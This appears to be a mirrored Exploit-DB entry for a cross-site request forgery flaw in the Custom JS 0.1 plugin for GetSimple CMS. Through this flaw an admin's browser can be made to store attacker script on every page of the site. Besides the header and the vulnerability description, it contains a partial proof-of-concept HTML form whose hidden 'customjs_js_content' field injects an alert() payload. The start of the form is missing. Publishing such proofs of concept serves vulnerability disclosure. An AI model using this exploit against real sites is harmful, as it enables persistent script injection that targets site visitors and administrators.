‘customhs_js_content’ – ‘customhs_js_content’ Cross-Site Request Forgery - 体验盒子

作者： Abhishek Joshi

日期： 2021-03-26

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/49712/

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# Exploit Title: GetSimple CMS Custom JS Plugin 0.1 - 'customhs_js_content' Cross-Site Request Forgery

# Exploit Author: Abhishek Joshi

# Date: March 25, 2021

# Vendor Homepage: http://get-simple.info/extend/plugin/custom-js/1267 / http://get-simple.info/download

# Software Link: http://get-simple.info/extend/export/5260/1267/custom-js.zip

# Version: 0.1

# Tested On: Windows 10 Pro + XAMPP + PHP Version 7.4.10

# Tested against: Firefox 78.7.0esr (64-bit)

# Vulnerability Description:

# Cross-Site Request Forgery (CSRF) vulnerability in Custom JS v0.1 plugin for GetSimple CMS allows remote attackers to inject arbitrary client-side script code into every webpage hosted on the CMS (Persistent Cross-Site Scripting), when an authenticated admin visiting a third-party site.

## CSRF POST Form Method

<input type="hidden" name="customjs_js_content" value="alert('Hello Abhishek Joshi from CSRF --> XSS all the things!')">

</form>

</body></html>